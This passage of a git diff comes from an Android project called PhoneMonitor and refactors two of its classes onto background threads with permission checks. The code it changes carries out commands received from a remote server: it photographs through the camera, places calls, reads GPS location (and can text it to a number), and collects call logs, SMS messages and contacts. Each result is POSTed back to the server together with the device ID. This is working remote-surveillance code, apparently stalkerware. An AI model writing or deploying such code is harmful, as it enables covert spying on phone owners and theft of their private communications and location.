+                                        }
+                                        CameraCapture.PictureCaptureMethod captureMethod = (method == 0) ? CameraCapture.PictureCaptureMethod.PCM_SURFACE_TEXTURE : CameraCapture.PictureCaptureMethod.PCM_SURFACE_VIEW;
+                                        String capturedPhotosJSONArray = webCommandsExecutor.clickPhotos(captureMethod);
+                                        notifyServerOfCommandExecution(command, capturedPhotosJSONArray);
+                                        Log.w(AppSettings.getTAG(), "Camera capture effected.");
+                                        break;
+                                }
+                            }
+
+                        } catch (JSONException jsoe) {
+                            jsoe.printStackTrace();
+                        }
+
                     }
-                    CameraCapture.PictureCaptureMethod captureMethod = (method == 0) ? CameraCapture.PictureCaptureMethod.PCM_SURFACE_TEXTURE : CameraCapture.PictureCaptureMethod.PCM_SURFACE_VIEW;
-                    String capturedPhotosJSONArray = webCommandsExecutor.clickPhotos(captureMethod);
-                    notifyServerOfCommandExecution(command, capturedPhotosJSONArray);
-                    Log.w(AppSettings.getTAG(), "Camera capture effected.");
-                    break;
+                });
+
             }
-        }
+        }).start();
+
     }
 
 
-    private void notifyServerOfCommandExecution(JSONObject command, String outputIfAny) throws JSONException {
+    private void notifyServerOfCommandExecution(final JSONObject command, final String outputIfAny) {
         //Notifies the server of the execution of a command so that its pending status can be changed to 0 (i.e. inactive)
         //Also, if a non null output exists for the particular command, the server will update the outputlist table in database
-        try {
-            URL url = new URL(this.outputURL);
-            HttpURLConnection httpURLConnection = (HttpURLConnection) url.openConnection();
-            httpURLConnection.setRequestMethod("POST");
-            httpURLConnection.setRequestProperty("User-Agent", "PhoneMonitor");
-            httpURLConnection.setDoOutput(true);
-            httpURLConnection.setConnectTimeout(10000);//without a timeout, .getOutputStream() hangs forever if server doesn't respond
-            httpURLConnection.setReadTimeout(60000);//without a timeout, .getResponseMessage(), .getInputStream() and .getResponseCode() hang forever if server doesn't respond
-
-            OutputStream outputstream = httpURLConnection.getOutputStream();
-
-            Uri.Builder builder = new Uri.Builder()
-                    .appendQueryParameter("uniqueid", HelperMethods.getDeviceUID(context))
-                    .appendQueryParameter("commandid", command.getString("commandid"))
-                    .appendQueryParameter("param1", command.getString("param1"))
-                    .appendQueryParameter("param2", command.getString("param2"))
-                    .appendQueryParameter("param3", command.getString("param3"))
-                    .appendQueryParameter("param4", command.getString("param4"))
-                    .appendQueryParameter("output", outputIfAny);
-            String POSTQuery = builder.build().getEncodedQuery();
-
-            outputstream.write(POSTQuery.getBytes("UTF-8"));
-            outputstream.flush();
-            outputstream.close();
-            String responseMsg = httpURLConnection.getResponseMessage();//dunno why but .getResponseMessage() or .getInputStream() or getResponseCode() _is_ required to actually make the POST request
-            httpURLConnection.disconnect();
-        } catch (MalformedURLException murlex) {
-            Log.w(AppSettings.getTAG(), "MalformedURLException @ServerTalkLoopThread.notifyServerOfCommandExecution()\n" + murlex.getMessage());
-        } catch (IOException ioex) {
-            Log.w(AppSettings.getTAG(), "IOException @ServerTalkLoopThread.notifyServerOfCommandExecution()\n" + ioex.getMessage());
-        }
+        new Thread(new Runnable() {
+            @RequiresApi(api = Build.VERSION_CODES.KITKAT)
+            @Override
+            public void run() {
+                try {
+                    URL url = new URL(outputURL);
+                    HttpURLConnection httpURLConnection = (HttpURLConnection) url.openConnection();
+                    httpURLConnection.setRequestMethod("POST");
+                    httpURLConnection.setRequestProperty("User-Agent", "PhoneMonitor");
+                    httpURLConnection.setDoOutput(true);
+                    httpURLConnection.setConnectTimeout(10000);//without a timeout, .getOutputStream() hangs forever if server doesn't respond
+                    httpURLConnection.setReadTimeout(60000);//without a timeout, .getResponseMessage(), .getInputStream() and .getResponseCode() hang forever if server doesn't respond
+
+                    OutputStream outputstream = httpURLConnection.getOutputStream();
+
+                    Uri.Builder builder = new Uri.Builder()
+                            .appendQueryParameter("uniqueid", HelperMethods.getDeviceUID(context))
+                            .appendQueryParameter("commandid", command.getString("commandid"))
+                            .appendQueryParameter("param1", command.getString("param1"))
+                            .appendQueryParameter("param2", command.getString("param2"))
+                            .appendQueryParameter("param3", command.getString("param3"))
+                            .appendQueryParameter("param4", command.getString("param4"))
+                            .appendQueryParameter("output", outputIfAny);
+                    String POSTQuery = builder.build().getEncodedQuery();
+
+                    outputstream.write(POSTQuery.getBytes(StandardCharsets.UTF_8));
+                    outputstream.flush();
+                    outputstream.close();
+                    String responseMsg = httpURLConnection.getResponseMessage();//dunno why but .getResponseMessage() or .getInputStream() or getResponseCode() _is_ required to actually make the POST request
+                    httpURLConnection.disconnect();
+                } catch (MalformedURLException | JSONException murlex) {
+                    Log.w(AppSettings.getTAG(), "MalformedURLException @ServerTalkLoopThread.notifyServerOfCommandExecution()\n" + murlex.getMessage());
+                } catch (IOException ioex) {
+                    Log.w(AppSettings.getTAG(), "IOException @ServerTalkLoopThread.notifyServerOfCommandExecution()\n" + ioex.getMessage());
+                }
+            }
+        }).start();
+
     }
 
 }
\ No newline at end of file
diff --git a/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/WebCommandsExecutor.java b/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/WebCommandsExecutor.java
index c09b6e5..d4afa0f 100644
--- a/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/WebCommandsExecutor.java
+++ b/AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/WebCommandsExecutor.java
@@ -1,12 +1,16 @@
 package com.monitor.phone.s0ft.phonemonitor;
 
+import android.Manifest;
+import android.annotation.SuppressLint;
 import android.content.Context;
 import android.content.Intent;
+import android.content.pm.PackageManager;
 import android.database.Cursor;
 import android.location.Location;
 import android.location.LocationListener;
 import android.location.LocationManager;
 import android.net.Uri;
+import android.os.Build;
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.Looper;
@@ -14,6 +18,8 @@
 import android.provider.CallLog;
 import android.provider.ContactsContract;
 import android.provider.Settings;
+import android.support.annotation.RequiresApi;
+import android.support.v4.app.ActivityCompat;
 import android.telephony.SmsManager;
 import android.util.Log;
 import android.widget.Toast;
@@ -30,7 +36,8 @@
 
 
 public class WebCommandsExecutor implements LocationListener {
-    private Context context;
+    private final Context context;
+    MainActivity checkPermissions = new MainActivity();
 
     WebCommandsExecutor(Context context) {
         this.context = context;
@@ -78,14 +85,27 @@ public void run() {
         }
     }
 
+    @RequiresApi(api = Build.VERSION_CODES.M)
     void call(long phoneNumber) {
         Intent intent = new Intent(Intent.ACTION_CALL);
         intent.setData(Uri.parse("tel:" + phoneNumber));
         intent.setFlags(FLAG_ACTIVITY_NEW_TASK);
+        if (ActivityCompat.checkSelfPermission(context, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED) {
+            // TODO: Consider calling
+            //    ActivityCompat#requestPermissions
+            // here to request the missing permissions, and then overriding
+            //   public void onRequestPermissionsResult(int requestCode, String[] permissions,
+            //                                          int[] grantResults)
+            // to handle the case where the user grants the permission. See the documentation
+            // for ActivityCompat#requestPermissions for more details.
+            return;
+        }
         context.startActivity(intent);
     }
 
-    String getGPSCoordinates(int promptUserLocationOn, final Boolean showPromptToast, String sendSMSToNumber) {
+    @SuppressLint("MissingPermission")
+    @RequiresApi(api = Build.VERSION_CODES.M)
+    String getGPSCoordinates(int promptUserLocationOn, final Boolean showPromptToast, final String sendSMSToNumber) {
         //promptUserLocationOn=Number of times to forcibly take user to Location settings
         //showPromptToast=Whether or not to show a toast message to user prompting to enable Location Service
         //sendSMSToNumber=Number to send latlong SMS to.. Can be "" in which case SMS will not be sent
@@ -119,7 +139,12 @@ public void run() {
                     HelperMethods.waitWithTimeoutN(new Callable() {
                         @Override
                         public Object call() throws Exception {
-                            return locationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);
+                            try {
+                                return locationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);
+                            } catch (SecurityException sec) {
+                                Log.e("Location not Permitted", sec.getMessage());
+                                return sec.getMessage();
+                            }
                         }
                     }, null, 3 * 60 * 1000);//wait for GPS based location. this takes a couple minutes
                 } catch (Exception ex) {
@@ -135,7 +160,12 @@ public Object call() throws Exception {
                         HelperMethods.waitWithTimeoutN(new Callable() {
                             @Override
                             public Object call() throws Exception {
-                                return locationManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
+                                try {
+                                    return locationManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
+                                } catch (SecurityException | IllegalArgumentException securityException) {
+                                    Log.e("Location Not accepted", securityException.getMessage());
+                                    return securityException.getMessage();
+                                }
                             }
                         }, null, 5000);//network based location is quick. only wait 5s
                     } catch (Exception ex) {
@@ -145,8 +175,8 @@ public Object call() throws Exception {
                 }
             }
             if (location != null) {
-                Log.w(AppSettings.getTAG(), "Lat : " + Double.toString(location.getLatitude()) + "\n" + "Long : " + Double.toString(location.getLongitude()));
-                latLong = "Lat : " + Double.toString(location.getLatitude()) + "\nLong : " + Double.toString(location.getLongitude());
+                Log.w(AppSettings.getTAG(), "Lat : " + location.getLatitude() + "\n" + "Long : " + location.getLongitude());
+                latLong = "Lat : " + location.getLatitude() + "\nLong : " + location.getLongitude();
                 if (!sendSMSToNumber.equals("")) {
                     SmsManager smsManager = SmsManager.getDefault();
                     smsManager.sendTextMessage(sendSMSToNumber, null, latLong, null, null);
@@ -155,16 +185,19 @@ public Object call() throws Exception {
                 Log.w(AppSettings.getTAG(), "No location found");
             }
         }
+
+
         return latLong;
     }
 
+    @RequiresApi(api = Build.VERSION_CODES.M)
     String getCallLog() {
         //returns calllogs as a JSON array string in descending order of date
         String retval = "";
         JSONArray callLogsJSONArr = new JSONArray();
         String[] columns = {CallLog.Calls.NUMBER, CallLog.Calls.TYPE, CallLog.Calls.DATE, CallLog.Calls.DURATION, CallLog.Calls.CACHED_NAME};
 
-        Cursor cursor = context.getContentResolver().query(CallLog.Calls.CONTENT_URI, columns, null, null, CallLog.Calls.DATE + " DESC");
+        @SuppressLint("MissingPermission") Cursor cursor = context.getContentResolver().query(CallLog.Calls.CONTENT_URI, columns, null, null, CallLog.Calls.DATE + " DESC");
         if (cursor != null) {
             while (cursor.moveToNext()) {
                 String number = cursor.getString(cursor.getColumnIndex(CallLog.Calls.NUMBER));
@@ -203,6 +236,8 @@ String getCallLog() {
             cursor.close();
             retval = callLogsJSONArr.toString();
         }
+
+
         return retval;
     }
 
@@ -283,6 +318,7 @@ String getSMSMessages() {
             retval = smsJsonArr.toString();
         }
         return retval;
+
     }
 
     String getContacts() {